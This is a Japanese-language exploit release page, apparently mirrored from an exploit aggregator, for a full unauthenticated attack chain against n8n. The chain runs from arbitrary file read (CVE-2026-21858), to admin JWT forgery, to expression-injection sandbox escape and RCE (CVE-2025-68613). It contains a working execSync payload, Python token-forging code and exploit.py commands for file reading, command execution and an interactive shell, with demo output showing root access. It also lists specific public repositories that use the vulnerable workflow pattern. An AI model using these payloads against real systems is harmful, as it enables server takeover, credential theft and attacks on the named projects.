## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ALHAKIM88-CVE-2026-21858
# CVE-2026-21858 + CVE-2025-68613 - n8n フルチェーン
**認証なし任意ファイル読み取り → 管理者トークン偽造 → サンドボックス回避 → RCE**
|
---|---
**CVE**| CVE-2026-21858 (AFR) + CVE-2025-68613 (RCE)
**CVSS**| 10.0 + 9.9 (Critical)
**影響を受けるバージョン**| <= 1.65.0 (AFR) / >= 0.211.0 (RCE)
**修正バージョン**| 1.121.0 (AFR) / 1.120.4+ (RCE)
**公開日**| 2026-01-07 11:09 UTC
**コードネーム**| Ni8mare
**クレジット**| Dor Attias (Cyera)
**エクスプロイト**| Chocapikk
**プロセス**| AI自動化: パッチ差分 → 再現 → ラボ → エクスプロイト (公開から約9時間)
**タイプ**| 概念実証 - 汎用エクスプロイトではありません (特定のワークフロー設定が必要です。制限事項 を参照)
## TL;DR
n8n に対する完全な認証なし RCE チェーン:
1. **CVE-2026-21858** \- Content-Type 混乱 → 任意ファイル読み取り
2. 設定ファイル + データベースを読み取り → 管理者 JWT を偽造
3. **CVE-2025-68613** \- 式インジェクション → サンドボックス回避 → RCE
## 検出
この脆弱性は**バージョンベース** です。露出の観点では、脆弱な n8n インスタンスが公開アクセス可能な状態で存在します。
**LeakIX の結果:** 露出したインスタンスを表示

## なぜこのエクスプロイトなのか?
このエクスプロイトは Cyera の記事 とは独立に開発されました (完了後に発見)。主な違い:
| Cyera (オリジナル研究)| このエクスプロイト
---|---|---
**ファイル読み取り**| AI ナレッジベースに読み込み → チャットで照会| 直接 HTTP レスポンス
**前提条件**| チャットワークフロー + AI 統合| **ファイルアップロード付きの任意のフォーム**
**RCE 手法**| 「Execute Command」ノード (デフォルトで無効)| **式インジェクション (デフォルトインストールで動作)**
**自動化**| 手動/概念デモ| **完全自動化 Python スクリプト**
どちらのアプローチも特定のワークフロー設定が必要です。Cyera はチャット + AI 統合が必要で、このエクスプロイトは Respond ノード付きのフォームが必要です。詳細は 制限事項 を参照してください。
## 攻撃チェーン
root@kitploit:~
┌───────────────────────────────────────────────────────────┐
│ 認証なし │
├───────────────────────────────────────────────────────────┤
│ 1. /proc/self/environ を読み取り → HOME ディレクトリを特定 │
│ 2. $HOME/.n8n/config を読み取り → encryptionKey を取得 │
│ 3. $HOME/.n8n/database.sqlite を読み取り → 管理者資格情報 │
├───────────────────────────────────────────────────────────┤
│ トークン偽造 │
├───────────────────────────────────────────────────────────┤
│ 4. encryptionKey から JWT シークレットを導出 │
│ 5. 管理者セッション Cookie を偽造 │
├───────────────────────────────────────────────────────────┤
│ 認証済み RCE │
├───────────────────────────────────────────────────────────┤
│ 6. 式インジェクションを含むワークフローを作成 │
│ 7. this.process.mainModule.require によるサンドボックス回避│
│ 8. 任意のコマンドを実行 │
└───────────────────────────────────────────────────────────┘
## CVE-2026-21858 - Content-Type 混乱による任意ファイル読み取り
### パッチ
root@kitploit:~
commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date: Thu Nov 13 11:51:40 2025 +0100
Merge commit from fork
伝説の **「Merge commit from fork」** \- これを見たら、誰かが刺激的なものを見つけたということです。🌶️
### 根本原因
root@kitploit:~
// 修正前 (脆弱)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)
// 修正後 (修正済み)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');
`Content-Type: application/json` を送信 → `filepath` を制御 → 任意のファイルを読み取り。
## CVE-2025-68613 - 式インジェクション RCE
### なぜこの回避方法なのか?
n8n はユーザーコード (Code ノード、式) を `vm2`/`isolated-vm` を使用してサンドボックス化します。他の RCE ベクター:
手法| 状態
---|---
Execute Command ノード| デフォルトで無効 (`N8N_ALLOW_EXEC_COMMAND=false`)
SSH/HTTP ノード| リモートサーバーで実行 (n8n ホストではない)
Pyodide サンドボックスエスケープ| CVE-2025-68668 - Python Code ノードが必要
**式インジェクション**| **CVE-2025-68613 - デフォルトインストールで動作**
**式インジェクション** を使用したのは、デフォルト設定の任意の n8n で動作するためです - 特別なノードや設定は不要です。Pyodide バイパス (CVE-2025-68668) は Python Code ノードが必要で、すべてのインスタンスで利用できるとは限りません。
### ペイロード
root@kitploit:~
={{ (function() {
var require = this.process.mainModule.require;
var execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}
n8n の式は `this.process.mainModule.require` にアクセスできます → 完全なサンドボックスエスケープ。
### トークン偽造
root@kitploit:~
# JWT シークレットの導出
jwt_secret = sha256(encryption_key[::2]).hexdigest()
# JWT ハッシュ
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
# トークン偽造
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
## ラボ環境のセットアップ
root@kitploit:~
docker compose up -d
# セットアップに約60秒待機
# フォーム: http://localhost:5678/form/vulnerable-form
# 資格情報: some-email@example.com / password
## 使用方法
root@kitploit:~
# 任意のファイルを読み取り
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd
# コマンド付きフルチェーン
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"
# 対話型シェル
uv run python exploit.py http://localhost:5678 /form/vulnerable-form
## デモ
root@kitploit:~
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain ║
║ Arbitrary File Read → Token Forge → Sandbox Bypass → RCE ║
╚═══════════════════════════════════════════════════════════════╝
[*] Target: http://localhost:5678/form/vulnerable-form
[*] Version: 1.65.0 (VULN)
[x] HOME directory
[+] HOME directory: /root
[x] Encryption key
[+] Encryption key: yusrXZV1...
[x] Database
[+] Database: 1327104 bytes
[x] Admin user
[+] Admin user: some-email@example.com
[x] Token forge
[+] Token forge: OK
[x] Admin access
[+] Admin access: GRANTED!
[+] Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK
uid=0(root) gid=0(root) groups=0(root)
## 制限事項
**これは「どんな n8n でも pwn できる」エクスプロイトではありません。** 動作するには特定の条件が必要です:
要件| 説明
---|---
**ファイルアップロード付きフォーム**| ターゲットにファイルアップロードフィールドを持つフォームワークフローが必要
**Respond to Webhook ノード**| ワークフローが HTTP レスポンスでファイル内容を返す必要がある
**ワークフローが有効**| フォームワークフローがアクティブ化されている必要がある
**認証なしアクセス**| フォームが公開アクセス可能である必要がある (認証なし)
**脆弱なワークフロー設定の例:**
root@kitploit:~
{
"nodes": [
{
"name": "Form Trigger",
"type": "n8n-nodes-base.formTrigger",
"parameters": {
"responseMode": "responseNode",
"formFields": {
"values": [{ "fieldLabel": "document", "fieldType": "file" }]
}
}
},
{
"name": "Respond",
"type": "n8n-nodes-base.respondToWebhook",
"parameters": {
"respondWith": "binary",
"inputDataFieldName": "document"
}
}
],
"connections": {
"Form Trigger": { "main": [[{ "node": "Respond" }]] }
}
}
重要な要素は: `fieldType: "file"` \+ `respondWith: "binary"` です。このパターンはファイル処理ワークフロー (コンバーター、画像リサイザー、ドキュメントプロセッサー) で一般的です。
**動作するケース:**
* Respond ノードがバイナリを返すフォーム (ファイルコンバーター、プロセッサー)
* デフォルトの n8n インストール (式インジェクションはブロックされていない)
* ローカル/Docker デプロイメント (データベースと設定がディスクに保存される)
**動作しないケース:**
* Respond ノードのないフォーム (ファイルは読み取られるが、HTTP レスポンスで内容が返されない)
* 認証が必要なフォーム
* n8n Cloud (アーキテクチャが異なり、ローカルファイルアクセス不可)
* パッチ適用済みバージョン (>= 1.121.0)
**注記:** 脆弱性 (任意ファイル読み取り) は、データ流出方法に関係なくトリガーされます。Respond ノードはコンテンツを取得する 1 つの方法にすぎません。代替方法 (OOB、他の出力ノード) はワークフロー設定によっては動作する可能性があります。
**ブラインドエクスプロイト:** Respond ノードが存在しない場合、ファイルは n8n によって読み取られますが、HTTP レスポンス経由でデータを流出させることはできません。代替手法 (OOB、タイミング) が必要になります。
## 実世界の例
脆弱なパターン (Form Trigger + ファイルアップロード + Respond to Webhook) は公開 GitHub リポジトリに存在します。
**注記:** 人気のある n8n ワークフローリポジトリ (>100⭐) はこのパターンを使用していません。これらはコミュニティ/個人プロジェクトです:
ワークフローファイル| ファイルフィールド| respondWith
---|---|---
ifcpipeline/.../ifcpipeline.json| IDS、IFC (x2)| `binary` ⚠️
nano-banana-studio/.../03_multi_asset_processor.json| 画像、音声、Markdown| `json`
ticket-omnichannel-chat/.../Knowledge_base.json| ドキュメント (PDF)| `text`
ai_resume_project/resume_rag.json| ファイルアップロード| `allIncomingItems`
fkgpt-portfolio/.../audio-transcription-analysis.json| 音声ファイル| `text`
n8n-backup/.../K3DwHQs0fnnm5UK0.json| file| `text`
voltixLandingPage/.../chatbotvoltix.json| ファイルアップロード| default
n8n-backup-zm/.../Ky1AiuIMbY1zoTLE.json| file| default
8n8Workflows/.../3WoSqiBnZ56RtWMb.json| ドキュメントをアップロード| default
learn_earn_ai_insta/.../My workflow.json| ファイルをアップロード| default
finintworkshop/.../API using n8n (ToT).json| file| `json`
これらは**コミュニティ投稿のワークフロー** です。公式の n8n.io テンプレートでこの脆弱なパターンを使用しているものはありません。
## 参考情報
* Cyera Research - Ni8mare 完全版記事 \- Dor Attias によるオリジナル研究
* GHSA-v4pr-fm98-w9pg \- CVE-2026-21858
* GHSA-v98v-ff95-f3cp \- CVE-2025-68613
* Nuclei テンプレート CVE-2025-68613
* LeakIX 検索結果 \- 露出した脆弱なインスタンス
* Formidable \- 「曲ではなくライブラリ」(笑わせてくれた Cyera に感謝)